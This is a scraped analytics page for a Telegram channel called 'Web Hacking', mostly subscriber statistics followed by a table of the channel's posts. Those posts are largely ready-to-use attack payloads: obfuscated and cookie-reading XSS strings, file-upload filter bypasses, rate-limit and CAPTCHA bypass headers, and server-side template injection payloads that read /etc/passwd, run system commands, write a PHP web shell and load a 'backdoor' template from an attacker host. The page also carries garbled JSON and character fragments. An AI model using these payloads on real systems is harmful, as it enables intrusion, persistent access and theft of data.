Web Hacking
Open in Telegram
2 028
Subscribers
No data24 hours
No data7 days
+1830 days
Data loading in progress...
Similar Channels
No data
Any problems? Please refresh the page or contact our support manager.
Tags Cloud
No data
Any problems? Please refresh the page or contact our support manager.
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
August '24
August '24
+49
in 0 channels
July '24
+95
in 0 channels
Get PRO
June '24
+87
in 0 channels
Get PRO
May '24
+127
in 1 channels
Get PRO
April '24
+96
in 1 channels
Get PRO
March '24
+52
in 0 channels
Get PRO
February '24
+49
in 0 channels
Get PRO
January '24
+50
in 0 channels
Get PRO
December '23
+75
in 0 channels
Get PRO
November '23
+80
in 0 channels
Get PRO
October '23
+78
in 0 channels
Get PRO
September '23
+66
in 0 channels
Get PRO
August '23
+69
in 0 channels
Get PRO
July '23
+95
in 0 channels
Get PRO
June '23
+50
in 0 channels
Get PRO
May '23
+69
in 0 channels
Get PRO
April '23
+69
in 0 channels
Get PRO
March '23
+75
in 0 channels
Get PRO
February '23
+76
in 0 channels
Get PRO
January '23
+92
in 0 channels
Get PRO
December '22
+64
in 0 channels
Get PRO
November '22
+103
in 0 channels
Get PRO
October '22
+89
in 0 channels
Get PRO
September '22
+115
in 0 channels
Get PRO
August '22
+72
in 0 channels
Get PRO
July '22
+119
in 0 channels
Get PRO
June '22
+30
in 0 channels
Get PRO
May '22
+24
in 0 channels
Get PRO
April '22
+37
in 0 channels
Get PRO
March '220
in 0 channels
Get PRO
February '220
in 0 channels
Get PRO
January '220
in 0 channels
Get PRO
December '21
+8
in 0 channels
Get PRO
November '21
+28
in 0 channels
Get PRO
October '21
+23
in 0 channels
Get PRO
September '21
+45
in 0 channels
Get PRO
August '21
+36
in 0 channels
Get PRO
July '21
+27
in 0 channels
Get PRO
June '21
+27
in 0 channels
Get PRO
May '21
+31
in 0 channels
Get PRO
April '21
+43
in 0 channels
Get PRO
March '21
+33
in 0 channels
Get PRO
February '21
+51
in 0 channels
Get PRO
January '21
+38
in 0 channels
Get PRO
December '20
+382
in 0 channels
| Date | Subscriber Growth | Mentions | Channels | |
| 21 August | +2 | |||
| 20 August | +5 | |||
| 19 August | +1 | |||
| 18 August | +2 | |||
| 17 August | +2 | |||
| 16 August | +1 | |||
| 15 August | 0 | |||
| 14 August | +3 | |||
| 13 August | +5 | |||
| 12 August | +3 | |||
| 11 August | +3 | |||
| 10 August | +3 | |||
| 09 August | +1 | |||
| 08 August | +2 | |||
| 07 August | +1 | |||
| 06 August | +1 | |||
| 05 August | +1 | |||
| 04 August | +2 | |||
| 03 August | 0 | |||
| 02 August | +6 | |||
| 01 August | +5 |
('%00tst@tst.com.br #XSS #Payβ¦","articleBody":"Payload XSS on login page:\n\n');\\\\('%00tst@tst.com.br\n\n#XSS #Payload","datePublished":"2023-12-30T11:52:15Z","dateModified":"2023-12-30T11:52:47Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-30T11:51:53Z"}}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/133","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/133","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/133","headline":"https://t.me/PythonForCyberSecurity","articleBody":"https://t.me/PythonForCyberSecurity","datePublished":"2023-12-26T03:38:30Z","dateModified":"2023-12-26T03:38:30Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1112},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/132","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/132","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/132","headline":"Bug bounty Cheatsheet: For more like this, join us at: t.me/OSCP_training XSS https://github.com/EdOverflow/bβ¦","articleBody":"Bug bounty Cheatsheet:\n\nFor more like this, join us at:\nt.me/OSCP_training\n\nXSS\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md\nhttps://github.com/ismailtasdelen/xss-payload-list\n\nSQLi\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md\n\nSSRF\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery\n\nCRLF\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection\n\nCSV-Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection\n\nCommand Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection\n\nDirectory Traversal\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal\n\nLFI\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion\n\nXXE\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md\n\nOpen-Redirect\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md\n\nRCE\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md\n\nCrypto\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md\n\nTemplate Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\n\nXSLT\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md\n\nContent Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md\n\nLDAP Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection\n\nNoSQL Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection\n\nCSRF Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection\n\nGraphQL Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection\n\nIDOR\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References\n\nISCM\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management\n\nLaTex Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection\n\nOAuth \nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth\n\nXPATH Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection\n\nBypass Upload Tricky\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files","datePublished":"2023-12-25T19:48:30Z","dateModified":"2023-12-25T19:48:30Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":817},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":33}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-25T19:47:45Z"}}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/131","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/131","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/131","headline":"GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercisβ¦","articleBody":"GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercises, Machines\nhttps://github.com/rodolfomarianocy/OSCP-Tricks-2023","datePublished":"2023-12-21T17:24:15Z","dateModified":"2023-12-21T17:24:15Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":696},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-21T15:45:55Z"}}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/130","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/130","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/130","headline":"Cross-Site Request Forgery https://www.saygili.org/2020/11/cross-site-request-forgery.html","articleBody":"Cross-Site Request Forgery\nhttps://www.saygili.org/2020/11/cross-site-request-forgery.html","datePublished":"2023-12-18T21:05:52Z","dateModified":"2023-12-18T21:05:52Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":889},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/129","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/129","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/129","headline":"HTTP Host Header Attack https://www.saygili.org/2020/11/http-host-header-attack.html","articleBody":"HTTP Host Header Attack\nhttps://www.saygili.org/2020/11/http-host-header-attack.html","datePublished":"2023-12-14T18:48:50Z","dateModified":"2023-12-14T18:48:50Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":937},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/128","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/128","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/128","headline":"WhatsApp'ta Cyber Security kanalΔ±nΔ± takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","articleBody":"WhatsApp'ta Cyber Security kanalΔ±nΔ± takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","datePublished":"2023-10-28T08:43:51Z","dateModified":"2023-10-28T08:43:51Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":354},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-10-28T08:43:14Z"}}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/127","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/127","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/127","headline":"https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","articleBody":"https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","datePublished":"2023-10-08T17:13:20Z","dateModified":"2023-10-08T17:13:20Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":549}]}}]}
Channel Posts
| 2 | ![a XSS payload, Cuneiform-alphabet based ! π='',πΊ=!π+π,π=!πΊ+π,πΊ=π+{},π=πΊ[π++], π=πΊ[π«=π],π=++π«+π,πΉ=πΊ[π«+π](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAXACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwAyfajJ9qdUtvt85d2Mc9fpQBAGPtThzWgREP7v5Cqlxjzm24xx0+lAEVFFFABRRRQAUUUUAFFFFAH/2Q==){kind=small} a XSS payload, Cuneiform-alphabet based ! π='',πΊ=!π+π,π=!πΊ+π,πΊ=π+{},π=πΊ[π++], π=πΊ[π«=π],π=++π«+π,πΉ=πΊ[π«+π],πΊ[πΉ+=πΊ[π] +(πΊ.π+πΊ)[π]+π[π]+π+π+πΊ[π«]+πΉ+π+πΊ[π] +π][πΉ](π[π]+π[π«]+πΊ[π]+π+π+"(π)")() | 1 |
| 3 |  File Upload Bypass -
Blacklisting Bypass
PHP β .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP β .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp β .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion β .cfm, .cfml, .cfc, .dbm
Perl β .pl, .cgi
Using random capitalization β .pHp, .pHP5, .PhAr
Whitelisting Bypass
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg | 4 932 |
| 4 | Rate Limit Bypass Techniques:
Adding HTTP Headers to Spoof IP and Evade Detection:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Host: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1 | 699 |
| 5 | SSTI (Server Side Template Injection)
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}} | 4 041 |
| 6 | Google Dorks to Find Sensitive data or dir | 3 132 |
| 7 | APIs Fuzzing for Bug Bounty.pdf | 708 |
| 8 | CAPTCHA Bypass
* Send old captcha value.
* Send old captcha value with old session ID.
* Remove captcha with any adblocker and request again
* Bypass with OCR
* Response manipulation.
* Use any token with the same length(+1/-1).
* Remove the param value or remove the entire parameter.
* Change the method from POST to GET(or PUT) and remove the captcha.
* Change body to JSON or vice-versa.
* Check whether the value of the captcha is in the source code.
* Add headers:
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1 | 570 |
| 9 | Tryhackme.pdf | 564 |
| 10 | Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings.
Many file uploads allow SVGs and are prone to tampering.
<svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml">
<foreignObject width="100%" height="100%">
<body xmlns="w3.org/1999/xhtml">
<iframe src='javascript:confirm(10)'></iframe>
</body>
</foreignObject>
</svg> | 747 |
| 11 | No text... | 749 |
| 12 | WhatsApp'ta OSCP Training kanalΔ±nΔ± takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a | 961 |
| 13 | Payload XSS on login page:
');\\</script><script>alert(document.cookie)</script>('%00tst@tst.com.br
#XSS #Payload | 1 |
| 14 | https://t.me/PythonForCyberSecurity | 1 112 |
| 15 | Bug bounty Cheatsheet:
For more like this, join us at:
t.me/OSCP_training
XSS
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
https://github.com/ismailtasdelen/xss-payload-list
SQLi
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md
SSRF
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
CRLF
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection
CSV-Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection
Command Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
Directory Traversal
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
LFI
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
XXE
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md
Open-Redirect
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md
RCE
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md
Crypto
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md
Template Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
XSLT
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md
Content Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md
LDAP Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
NoSQL Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
CSRF Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection
GraphQL Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
IDOR
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References
ISCM
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management
LaTex Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
OAuth
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth
XPATH Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
Bypass Upload Tricky
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files | 817 |
| 16 | GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercises, Machines
https://github.com/rodolfomarianocy/OSCP-Tricks-2023 | 696 |
| 17 | Cross-Site Request Forgery
https://www.saygili.org/2020/11/cross-site-request-forgery.html | 889 |
| 18 | HTTP Host Header Attack
https://www.saygili.org/2020/11/http-host-header-attack.html | 937 |
| 19 | WhatsApp'ta Cyber Security kanalΔ±nΔ± takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q | 354 |
| 20 | https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q | 549 |
